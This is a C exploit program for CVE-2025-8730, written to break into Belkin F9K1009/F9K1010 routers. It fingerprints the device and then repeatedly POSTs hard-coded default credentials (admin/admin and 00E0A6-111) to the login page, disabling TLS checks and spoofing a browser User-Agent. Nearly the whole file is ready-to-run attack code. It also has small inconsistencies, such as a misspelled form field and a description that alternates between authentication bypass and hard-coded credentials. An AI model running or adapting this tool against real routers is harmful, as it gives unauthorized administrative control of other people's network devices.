/*
* Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
* Author : Byte Reaper
* CVE : CVE-2025-8730
* Description : Exploit demonstrating an authentication bypass vulnerability
* in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides
* in improper session validation logic, allowing remote attackers to gain
* unauthorized access to the administrative panel without supplying valid credentials.
*/
#include
#include
#include
#include "argparse.h"
#include
#include
#include
#define FULL 2000
#define LOGIN_POST 1500
const char *nameFileC = NULL;
int verbose = 0;
const char *router = NULL;
const char *cookies = NULL;
int uC = 0;
const char *fullurl = NULL;
int sleepS = 0;
int count = 0;
void exitSyscall()
{
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}
int checkLen(int len, char *buf, size_t bufcap)
{
if (len < 0 || (size_t)len >= bufcap)
{
printf("\e[0;31m[-] Len is Long ! \e[0m\n");
printf("\e[0;31m[-] Len %d\e[0m\n", len);
exitSyscall();
return 1;
}
else
{
printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
return 0;
}
return 0;
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
exitSyscall();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
const char *wordLogin[] =
{
"login_success",
"Welcome",
"Dashboard",
"admin panel",
"Set-Cookie",
"Authorization",
"token",
"sessionid",
"redirect",
"access granted",
"authenticated",
"user authenticated",
"login ok",
"login complete",
"login status=success",
"login=1",
"auth=1",
"valid credentials",
"home.htm",
"main.htm",
"index.htm",
"config.htm",
"firmware.htm",
"admin.htm",
NULL
};
void sleepTime(int sec)
{
if (sec <= 0)
{
fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n");
exitSyscall();
}
struct timespec req, rem;
req.tv_sec = (time_t)sec;
req.tv_nsec = 0;
printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec);
while (nanosleep(&req, &rem) == -1)
{
if (errno == EINTR)
{
req = rem;
continue;
}
perror("\e[0;31m[-] Nanosleep failed !\e[0m");
exitSyscall();
}
printf("\e[0;34m[+] Sleep successful.\e[0m\n");
}
void detectDeviceType(const char *routerIp)
{
printf("\n=================================== [type Device] ===================================\e[0m\n");
CURL *curl = curl_easy_init();
if (!curl) exitSyscall();
struct Mem response = { NULL, 0 };
char full[FULL];
int len = snprintf(full, sizeof(full), "http://%s", routerIp);
if (checkLen(len, full, sizeof(full)))
{
exitSyscall();
}
curl_easy_setopt(curl, CURLOPT_URL, full);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
if (sleepS)
{
sleepTime(sleepS);
}
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);
CURLcode res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res));
}
if (response.buffer)
{
if (strstr(response.buffer, "F9K1009"))
{
printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n");
}
else if (strstr(response.buffer, "F9K1010"))
{
printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n");
}
else
{
printf("\e[0;31m[-] Unknown device type\e[0m\n");
free(response.buffer);
}
}
else
{
printf("\e[0;31m[-] Response Is NULL !\n");
};
response.buffer= NULL;
response.len = 0;
curl_easy_cleanup(curl);
printf("=====================================================================================\n");
}
void credentialsRequest(const char *routerIp)
{
CURL *curl = curl_easy_init();
if (curl == NULL)
{
printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
exitSyscall();
}
CURLcode res;
char full[FULL];
int nL = 2;
struct Mem response;
response.buffer= NULL;
response.len = 0;
for (int l = 0; l <= nL; l++)
{
if (curl)
{
char full[FULL];
char post[LOGIN_POST];
if (fullurl != NULL )
{
int lenFull = snprintf(full, sizeof(full), "%s", fullurl);
if (checkLen(lenFull,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
printf("\e[0;31m[-] Len : %d\n",lenFull);
exitSyscall();
}
printf("[+] Create FULL URL Successfully.\e[0m\n");
printf("[+] Default Port Request : %d\e[0m\n", 80);
printf("[+] FULL URL : %s\n", full);
}
else
{
int lenI = snprintf(full,
sizeof(full),
"http://%s/login.htm",
routerIp);
if (checkLen(lenI,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
printf("\e[0;31m[-] Len : %d\e[0m\n",lenI);
exitSyscall();
}
else
{
printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n");
printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp);
printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80);
printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full);
}
}
if (l < 2)
{
//login admin
int vA = snprintf(post, sizeof(post),
"login_username=admin&login_password=admin");
if (checkLen(vA,
post,
sizeof(post)) == 1)
{
printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
printf("\e[0;31m[-] Len (data): %d\e[0m\n",
vA);
exitSyscall();
}
printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l);
printf("\n%s\n", post);
}
else
{
//login 00E0A6-111
int vE = snprintf(post, sizeof(post),
"login_usernam=00E0A6-111&login_password=00E0A6-111");
if (checkLen(vE,
post,
sizeof(post)) == 1)
{
printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
printf("\e[0;31m[-] Len (data): %d\n",
vE);
exitSyscall();
}
printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l);
printf("\n%s\n", post);
}
curl_easy_setopt(curl,
CURLOPT_URL,
full);
if (uC)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_POST,
1L);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDS,
post);
curl_easy_setopt(curl,
CURLOPT_POSTFIELDSIZE,
(long)strlen(post));
curl_easy_setopt(curl,
CURLOPT_ACCEPT_ENCODING,
"");
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
if (sleepS)
{
sleepTime(sleepS);
}
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers,
"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
headers = curl_slist_append(headers,
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers,
"Connection: keep-alive");
headers = curl_slist_append(headers, "Content-Type: application/json");
headers = curl_slist_append(headers,
"Cache-Control: max-age=0");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
res = curl_easy_perform(curl);
curl_slist_free_all(headers);
if (res == CURLE_OK)
{
long httpCode = 0;
long totalR;
double timeredirect;
char *redirectUrl = NULL;
printf("\e[0;36m[+] Request sent successfully\e[0m\n");
if (response.len == 0)
{
printf("\e[0;31m[-] Response Len Zero !\e[0m\n");
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
&httpCode);
printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode);
curl_easy_getinfo(curl,
CURLINFO_REDIRECT_COUNT,
&totalR);
curl_easy_getinfo(curl,
CURLINFO_REDIRECT_TIME,
&timeredirect);
curl_easy_getinfo(curl,
CURLINFO_REDIRECT_URL,
&redirectUrl);
printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n");
printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect);
printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR);
printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl);
printf("\e[0;35m=======================================\e[0m\n");
if (httpCode >= 200 && httpCode < 300)
{
if (response.buffer)
{
for (int r = 0; wordLogin[r] != NULL; r++)
{
if (strstr(response.buffer, wordLogin[r]) != NULL)
{
printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]);
printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n");
printf("\n%s\n",response.buffer);
printf("\e[0;35m ======================================================================================================\e[0m\n");
}
if (verbose)
{
printf("\e[0;31m[-] Word Not Found : %s\e[0m\n",wordLogin[r]);
}
}
}
else
{
printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n");
printf("\e[0;31m[-] Possible Waf \e[0m\n");
}
}
else
{
printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode);
}
}
else
{
printf("\e[0;31m[-] The request was not sent !\e[0m\n");
printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
exitSyscall();
}
}
}
curl_easy_cleanup(curl);
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
}
int main(int argc, const char **argv)
{
printf("+-----------------------------------------------------------+\n");
printf("| Author : [ Byte Reaper ] |\n");
printf("| CVE : [ CVE-2025-8730 ] |\n");
printf("| Type Vuln : [ hard-coded credentials ] |\n");
printf("| Exploit publishing : [ 08/08/2025 ] |\n");
printf("| Target Service : [ Belkin F9K1009/F9K1010 ] |\n");
printf("+-----------------------------------------------------------+\n");
printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n");
curl_global_init(CURL_GLOBAL_DEFAULT);
struct argparse_option options[] =
{
OPT_STRING('f',
"full",
&fullurl,
"FULL url FORMAT (Login File)"),
OPT_HELP(),
OPT_STRING('i',
"ip",
&router,
"Router Ip (12.12.12.12)"),
OPT_STRING('c',
"cookies",
&nameFileC,
"Enter File cookies"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_INTEGER('s',
"sleep",
&sleepS,
"Sleep Request"),
OPT_INTEGER('k',
"count",
&count,
"Number For Loop Request (-k 8 (8 Request))"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (router == NULL && fullurl == NULL)
{
printf("\e[0;31m[-] Please Enter target Router IP !\e[0m\n");
printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i \e[0m\n");
exitSyscall();
}
if (nameFileC)
{
uC = 1;
}
if (verbose)
{
verbose = 1;
}
if (fullurl)
{
credentialsRequest(NULL);
}
if (sleepS)
{
sleepTime(sleepS);
}
if (count)
{
for (int j = 0; j <= count; j++)
{
if (fullurl)
{
credentialsRequest(fullurl);
}
if (router)
{
credentialsRequest(router);
}
}
}
detectDeviceType(router);
credentialsRequest(router);
curl_global_cleanup();
return 0;
}